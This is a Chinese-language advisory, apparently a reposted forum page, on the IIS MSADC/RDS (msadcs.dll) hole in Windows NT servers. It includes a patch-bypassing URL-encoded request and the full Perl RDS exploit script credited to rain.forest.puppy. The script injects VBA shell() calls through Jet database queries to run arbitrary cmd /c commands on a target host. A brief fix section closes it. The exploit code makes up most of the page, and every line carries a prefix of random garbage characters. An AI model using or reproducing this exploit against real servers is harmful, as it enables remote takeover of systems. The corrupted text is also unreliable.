IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
dX0"h5v1 xYJ|G=h&A 涉及程序:
os]P6TFFX? Microsoft NT server
o1"MW>B,4 72gQ<Si 描述:
ly<1]jK 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Qifjv0&;u G6N$^HkW? 详细:
,h'q}5 如果你没有时间读详细内容的话,就删除:
e)[>E\u _ c:\Program Files\Common Files\System\Msadc\msadcs.dll
j z aC 有关的安全问题就没有了。
}?pY~f sz' IGy% 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
KMxP%dV/= `2X#;{a: 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
lqO" 关于利用ODBC远程漏洞的描述,请参看:
{o?+T);Z HrUQ X4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D|u! KH 0{/P1 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
f*VBSg[` http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5y. n Ri@`sc{n 这里不再论述。
Xi]WDH \ i>n.r_!E 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
s^X(G!V{c btC0w^5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@?A39G{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
f3>8ZB4 f#RI&I\ Mt@P}4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
Nj2f?',;U o5(p&:1M #!perl
8:%=@p>$ #
(GVH#}uB # MSADC/RDS 'usage' (aka exploit) script
=|lKB; #
KKR@u(+"a # by rain.forest.puppy
km;M!}D #
x<'(b7{U0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
k\T,CZ< # beta test and find errors!
}*{@-v|_R s6(iiB%d use Socket; use Getopt::Std;
D{&0r.2F getopts("e:vd:h:XR", \%args);
JfmNI~% -uDB#?q:W print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
KLI(Rve24 '2u(fLq3h if (!defined $args{h} && !defined $args{R}) {
!$"DD[~\ print qq~
SCClD6k=V Usage: msadc.pl -h <host> { -d <delay> -X -v }
(~~*PT- -h <host> = host you want to scan (ip or domain)
} PD]e*z{Z -d <seconds> = delay between calls, default 1 second
oaI|A^v -X = dump Index Server path table, if available
ESk<*- -v = verbose
lF]cUp#< -e = external dictionary file for step 5
U2*g9Es 78v4cQ Y Or a -R will resume a command session
LFsrqdzJ U!E
~; exit;}
(vCMff/ Y1 B/S~Jn $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\bze-|C if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
FhZ^/= As if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yub| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
D-7PO3F:F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5c btMNP if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$EjM)
V6.xp{[ if (!defined $args{R}){ $ret = &has_msadc;
3:Aw.-,i\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pA(B~9 WQ \#P>k;D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D(}w$hi8 . "cmd /c ";
Y<U"}} $in=<STDIN>; chomp $in;
ew(CfW2 $command="cmd /c " . $in ;
3/P#2&jt EG<YxNX, if (defined $args{R}) {&load; exit;}
j rX.e MP|J 0=H5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(9_~R^='y &try_btcustmr;
{{b&l! RbUhLcG5 print "\nStep 2: Trying to make our own DSN...";
0n25{N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\{F{yq( u~#QvA~] print "\nStep 3: Trying known DSNs...";
vEJ2d& &known_dsn;
9$&+0 hlPZTr=a print "\nStep 4: Trying known .mdbs...";
9Foo8e &known_mdb;
)D
^.{70N Byf5~OC if (defined $args{e}){
pyEi@L1p print "\nStep 5: Trying dictionary of DSN names...";
T:ye2yg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/"A)}>a d'~sy> print "Sorry Charley...maybe next time?\n";
8}m bfuo1 exit;
<szD"p|K nJJ9>#<g$ ##############################################################################
>hcA:\UPk VeixwGZ. sub sendraw { # ripped and modded from whisker
c[:OK9TH sleep($delay); # it's a DoS on the server! At least on mine...
SG1o<#> my ($pstr)=@_;
$dAQ'\f7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>[ r
TUn; die("Socket problems\n");
Qp{gV Ys if(connect(S,pack "SnA4x8",2,80,$target)){
(fmcWHs select(S); $|=1;
E DuLgg@ print $pstr; my @in=<S>;
Qe=,EXf select(STDOUT); close(S);
6LUO return @in;
[h
"*>J{ } else { die("Can't connect...\n"); }}
d52l)8 VUXG%511T ##############################################################################
uT8@p8 {R[FwB^7wJ sub make_header { # make the HTTP request
<3dmY= my $msadc=<<EOT
i6R2R8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
O>)<w
Ms` User-Agent: ACTIVEDATA
2s, [DC Host: $ip
a []Iz8*6e Content-Length: $clen
v)|[= Connection: Keep-Alive
~~[Sz#( 2}Dd{kC- ADCClientVersion:01.06
RZm}%6##ZC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'=!@s1;{[; p[BF4h{E --!ADM!ROX!YOUR!WORLD!
kt8P\/~*i Content-Type: application/x-varg
"(y",!U@ Content-Length: $reqlen
-TKS`,# 1JIL6w_ EOT
("{JNA/ ; $msadc=~s/\n/\r\n/g;
<vx/pH)f return $msadc;}
ZV}"k_+- ^6!C":f ##############################################################################
aC0[ OmbG s`*
'JM< sub make_req { # make the RDS request
k9j_#\E[ my ($switch, $p1, $p2)=@_;
%Gp%l my $req=""; my $t1, $t2, $query, $dsn;
Jz D
Mx? W:q79u yX if ($switch==1){ # this is the btcustmr.mdb query
gakmg#ki $query="Select * from Customers where City=" . make_shell();
qms+s~oA $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
qbjBN z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Dm=t`_DL8 ea3;1-b: elsif ($switch==2){ # this is general make table query
Ad)Po $query="create table AZZ (B int, C varchar(10))";
;seD{y7! $dsn="$p1";}
%4#,y(dO RXa&*Jtr - elsif ($switch==3){ # this is general exploit table query
L(a&,cdh $query="select * from AZZ where C=" . make_shell();
+]|aACt] $dsn="$p1";}
hzIP ?0^E -x~h.s, elsif ($switch==4){ # attempt to hork file info from index server
m9bR
%j $query="select path from scope()";
*<k8H5z8] $dsn="Provider=MSIDXS;";}
;K<e]RI;? F&US-ce:M elsif ($switch==5){ # bad query
'N$hbl $query="select";
o -tc}Aa $dsn="$p1";}
|4uH \\F^uM7, $t1= make_unicode($query);
.<zW(PW $t2= make_unicode($dsn);
KK;3<kX $req = "\x02\x00\x03\x00";
y6.}h9~ $req.= "\x08\x00" . pack ("S1", length($t1));
K;jV"R<9 $req.= "\x00\x00" . $t1 ;
pEk^; $req.= "\x08\x00" . pack ("S1", length($t2));
,Y&LlB 2 $req.= "\x00\x00" . $t2 ;
/(C?3}}L $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,i>u>YNZ return $req;}
3-cCdn }ge~Nu>w ##############################################################################
b_=$W Xd%c00"U sub make_shell { # this makes the shell() statement
+jzwi3B` return "'|shell(\"$command\")|'";}
O]{3aMs!Y VU+` yQp ##############################################################################
$0WO
4C%M 68ce+| sub make_unicode { # quick little function to convert to unicode
TWF6YAQm my ($in)=@_; my $out;
RAMkTS for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
x)eYqH~i return $out;}
@y%4BU&>0 K_/8MLJQ ##############################################################################
8A/;a{ Wyu$J sub rdo_success { # checks for RDO return success (this is kludge)
4Q2=\-KFj my (@in) = @_; my $base=content_start(@in);
}7iWm XlI if($in[$base]=~/multipart\/mixed/){
;,T3C:S? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
tpe:]T/xh return 0;}
C?@vBM} n_;qB7,, ##############################################################################
lz>YjK: f49pIcAq sub make_dsn { # this makes a DSN for us
6?y<F4
my @drives=("c","d","e","f");
+2%ih! print "\nMaking DSN: ";
lSv?!2 foreach $drive (@drives) {
P" +!mSe^~ print "$drive: ";
61|uvTX my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~hi \*W6jg "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
S9~X#tpKe . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.?7u'%6x?{ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
tfzIem return 0 if $2 eq "404"; # not found/doesn't exist
z3!j>X_w if($2 eq "200") {
'<N^u@tF7 foreach $line (@results) {
^):m^w. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r':wq } return 0;}
gycjIy@t W}&[p=PAS ##############################################################################
6"@+Jz 0* Ox>O> sub verify_exists {
EBjSK/ my ($page)=@_;
*_G(*yAe( my @results=sendraw("GET $page HTTP/1.0\n\n");
O;RsYs9 return $results[0];}
+X[+SF)! hdky:2^3 ##############################################################################
nulCk33x'= nY(>|! sub try_btcustmr {
F?!P7 zW my @drives=("c","d","e","f");
P{YUW~ my @dirs=("winnt","winnt35","winnt351","win","windows");
Vfkm{*t) H#pl&/+ foreach $dir (@dirs) {
g)7~vm2/, print "$dir -> "; # fun status so you can see progress
3vx5dUgl, foreach $drive (@drives) {
)?35!s6 print "$drive: "; # ditto
AF ,*bb $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Rf *we+ $reqlenlen=length( "$reqlen" );
RTN?[` $clen= 206 + $reqlenlen + $reqlen;
cM&5SyxiuE ~JjL411pG my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+/u)/ey if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
E`#m0Q(8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
RL Beti> Z05kn{<a8 ##############################################################################
<9zzjgzG{c
*&$J.KM sub odbc_error {
DONXq]f:," my (@in)=@_; my $base;
~)!yl. H my $base = content_start(@in);
~)5NX
4Po if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
p,_,o3@~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2tz%A~}4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T:
zO9C/ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WXJEAje return $in[$base+4].$in[$base+5].$in[$base+6];}
>*DR>U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&PY~m<F print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HgH\2QL3& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4n55{?Z 0ws1S(pq ##############################################################################
e/+_tC$@p@ Z)
nB sub verbose {
P#^-{;Bu my ($in)=@_;
_5<d'fBd return if !$verbose;
R]{zGFnx print STDOUT "\n$in\n";}
\o-9~C\c* r\#_b4-v3h ##############################################################################
sb8%!>C -Jqm0)2 sub save {
WiDl[l"{9 my ($p1, $p2, $p3, $p4)=@_;
ckn0I open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m\9R;$\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-Ky<P<@ezm close OUT;}
|. w'Z7(s _+c' z ##############################################################################
Be~__pd nV/8u_ sub load {
zK Rt\;PW my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ew`(x30E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r~mZ?dI @p=<IN>; close(IN);
;<=Z\NX $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@bPR"j5D $target= inet_aton($ip) || die("inet_aton problems");
/j7e
q print "Resuming to $ip ...";
4:umD*d 3E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
hw2'.}B"( if($p[1]==1) {
6I)[6R $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0tA~Y26 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?vA)F)MS my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@#HB6B if (rdo_success(@results)){print "Success!\n";}
9jwcO)p^ else { print "failed\n"; verbose(odbc_error(@results));}}
uD'yzR!]+ elsif ($p[1]==3){
.bdp=vbA if(run_query("$p[3]")){
irjOGn print "Success!\n";} else { print "failed\n"; }}
Y-Iu&H+\ elsif ($p[1]==4){
!H)$_d \uj if(run_query($drvst . "$p[3]")){
n ~c<[ print "Success!\n"; } else { print "failed\n"; }}
E[Xqyp!< exit;}
0.pZlv E6 g]EE ##############################################################################
o!6~tO=% j-~x==c-; sub create_table {
@=
E~` my ($in)=@_;
E[$"~|7|$ $reqlen=length( make_req(2,$in,"") ) - 28;
e>F i $reqlenlen=length( "$reqlen" );
g`7C1&U*T $clen= 206 + $reqlenlen + $reqlen;
QoLp$1O(y my @results=sendraw(make_header() . make_req(2,$in,""));
=g.R?H8cj5 return 1 if rdo_success(@results);
o7gYj\ my $temp= odbc_error(@results); verbose($temp);
w\V1pu^6@ return 1 if $temp=~/Table 'AZZ' already exists/;
QR+xPY~ return 0;}
0B}O&DC%| 0H$6_YX4A ##############################################################################
Y"{L&H ` Bb[WtT}= sub known_dsn {
WD/\f$4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7pllzy my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
s=S9y7i(R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Zr(4Q9fDo "banner", "banners", "ads", "ADCDemo", "ADCTest");
(M0"I1g|w jF$bCbAUce foreach $dSn (@dsns) {
z6IOVQ*r print ".";
_h6j, ) next if (!is_access("DSN=$dSn"));
<QuIX A if(create_table("DSN=$dSn")){
V8w7U:K print "$dSn successful\n";
D=+md if(run_query("DSN=$dSn")){
nrBpq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rCK print "Something's borked. Use verbose next time\n";}}} print "\n";}
%>p[;>jW G_m $?0\ ##############################################################################
LoUHStt \T'.b93~B sub is_access {
#!0=I
s^ my ($in)=@_;
N>TmaUk $reqlen=length( make_req(5,$in,"") ) - 28;
YYE{zU $reqlenlen=length( "$reqlen" );
xNrPj8V<Y $clen= 206 + $reqlenlen + $reqlen;
/M :7 my @results=sendraw(make_header() . make_req(5,$in,""));
qw?Wi%t(x8 my $temp= odbc_error(@results);
-/V,<@@T verbose($temp); return 1 if ($temp=~/Microsoft Access/);
N!PPL"5z return 0;}
Vjdu9Ez tG7F!um( ##############################################################################
6N49q-.Lg (HEi; sub run_query {
3 as~yF0 my ($in)=@_;
opXxtYC@ $reqlen=length( make_req(3,$in,"") ) - 28;
K N Y $reqlenlen=length( "$reqlen" );
)_&P:;N $clen= 206 + $reqlenlen + $reqlen;
ndmsXls my @results=sendraw(make_header() . make_req(3,$in,""));
bIWSNNV0F return 1 if rdo_success(@results);
JpRn)e'Z my $temp= odbc_error(@results); verbose($temp);
4Wd
H!z return 0;}
JRw<v4pZ Ao )\/AR' ##############################################################################
ybC0Ee@ Aaw]=8 OI sub known_mdb {
-lY,lC>{ my @drives=("c","d","e","f","g");
m
>Rdsn~l my @dirs=("winnt","winnt35","winnt351","win","windows");
l`bl^~xRo my $dir, $drive, $mdb;
%jE0Z4\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!+k);;.+ NR>&1aRbyb # this is sparse, because I don't know of many
SeV`RUO my @sysmdbs=( "\\catroot\\icatalog.mdb",
8aqH;|fG} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}6'%p Bd "\\system32\\certmdb.mdb",
_4f=\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
UVd
^tg bMA0#e2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b FMBIA| "\\cfusion\\cfapps\\forums\\forums_.mdb",
{X\%7Zef+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4<j7F4 "\\cfusion\\cfapps\\security\\realm_.mdb",
*V`E)maU "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;b5^)S "\\cfusion\\database\\cfexamples.mdb",
.GSK!1{@ "\\cfusion\\database\\cfsnippets.mdb",
s||c#+j"8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mz2 v2ma "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>vR7l&" "\\cfusion\\brighttiger\\database\\cleam.mdb",
34
'[O "\\cfusion\\database\\smpolicy.mdb",
z"D0Th`S6 "\\cfusion\\database\cypress.mdb",
#ZC9= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
43}uW,P "\\website\\cgi-win\\dbsample.mdb",
~} 02q5H "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]@I>OcH "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Z,~PW#8<& ); #these are just
h+c9FN foreach $drive (@drives) {
;=UkTn}N?l foreach $dir (@dirs){
HEk{!Y foreach $mdb (@sysmdbs) {
M?d (-en print ".";
}Ip1|Gj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Gc=uKQ+\V print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
o?g9Grk if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
TFNB%| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Hmx
Y{KB } else { print "Something's borked. Use verbose next time\n"; }}}}}
[k]3#<sS ?{;7\1[4 foreach $drive (@drives) {
FfX*bqy foreach $mdb (@mdbs) {
ei82pLM
z print ".";
aH&Efz^ if(create_table($drv . $drive . $dir . $mdb)){
lt("yqBu print "\n" . $drive . $dir . $mdb . " successful\n";
ATWa/"l(H- if(run_query($drv . $drive . $dir . $mdb)){
kxLWk%V print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`qV*R
2 } else { print "Something's borked. Use verbose next time\n"; }}}}
FN<Sagj }
l`Ae&nc6 8Sk$o.Gy ##############################################################################
8
KRo< Zg4kO;r08 sub hork_idx {
$!vK#8-&{ print "\nAttempting to dump Index Server tables...\n";
z?Cez*.h> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
;LC?3. $reqlen=length( make_req(4,"","") ) - 28;
7lx]`u> $reqlenlen=length( "$reqlen" );
p4@0[z' $clen= 206 + $reqlenlen + $reqlen;
489xoP my @results=sendraw2(make_header() . make_req(4,"",""));
,B:r^(}0j if (rdo_success(@results)){
oh7tE$"c my $max=@results; my $c; my %d;
_/J`v`}G for($c=19; $c<$max; $c++){
3=("vR`! $results[$c]=~s/\x00//g;
'A,)PZL9i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
R:`)*=rL% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+xuj ]J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
A!v:W6yiz $d{"$1$2"}="";}
=u`tlN5pOT foreach $c (keys %d){ print "$c\n"; }
wg4Ol*y' } else {print "Index server doesn't seem to be installed.\n"; }}
G+t=+T2m
T|2v1Vj ##############################################################################
FEi@MJJ\e "vfpG7CG sub dsn_dict {
]wUH*\(y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s~m]>^?8MR while(<IN>){
'?$R YU, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C;%1XFzM next if (!is_access("DSN=$dSn"));
T930tX6"h if(create_table("DSN=$dSn")){
%us#p|Ya print "$dSn successful\n";
8<{i=V*x4 if(run_query("DSN=$dSn")){
\cdns; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
WIN3*z7oW print "Something's borked. Use verbose next time\n";}}}
as(Zb*PdH print "\n"; close(IN);}
><qA+/4]_ )XDbg> ##############################################################################
|zJ2ZE| eVzZfB-=4} sub sendraw2 { # ripped and modded from whisker
r%9=75HA sleep($delay); # it's a DoS on the server! At least on mine...
Wjli(sT#- my ($pstr)=@_;
$|N\(}R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
? ph>:M die("Socket problems\n");
MvTp%d. if(connect(S,pack "SnA4x8",2,80,$target)){
x@@bC=iY$ print "Connected. Getting data";
6 $K@s open(OUT,">raw.out"); my @in;
m:c0S8#: select(S); $|=1; print $pstr;
qJJ},4} while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
vwzElZ{C:v close(OUT); select(STDOUT); close(S); return @in;
?z0W1a } else { die("Can't connect...\n"); }}
yG^pND>_df abp\Ih^b ##############################################################################
V ONC<wC V@nZ_. sub content_start { # this will take in the server headers
L9]d$ r" my (@in)=@_; my $c;
Fw8b^ew for ($c=1;$c<500;$c++) {
,'n`]@0?\ if($in[$c] =~/^\x0d\x0a/){
>2ha6A[ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2|&SG3e+(I else { return $c+1; }}}
ZcN#jnb0/ return -1;} # it should never get here actually
2$'bOo {$V2L4 ##############################################################################
R+El/ya:6 Y8h 96 sub funky {
y[zjs^-vCv my (@in)=@_; my $error=odbc_error(@in);
qCB{dp/ if($error=~/ADO could not find the specified provider/){
XRTiC#6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O=jzz&E+ exit;}
4HpKKhv" if($error=~/A Handler is required/){
K'y|_XsBB) print "\nServer has custom handler filters (they most likely are patched)\n";
@aP1[( m exit;}
Hzz v 6k if($error=~/specified Handler has denied Access/){
X6BOB? print "\nServer has custom handler filters (they most likely are patched)\n";
j_h0hm] exit;}}
MpTOC&NG%s !;K zR& ##############################################################################
O
Q$C#:? r5y*SoD! sub has_msadc {
D=SjCmG my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
tO?-@Qf/9< my $base=content_start(@results);
OuKRaZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
@)wsHW%cjz return 0;}
|D_4 iFC .#Z"Sj ########################
{gxP_> #N;&^El h^,av^lg^ 解决方案:
SXC
7LJm<g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&Mz]y?k' 2、移除web 目录: /msadc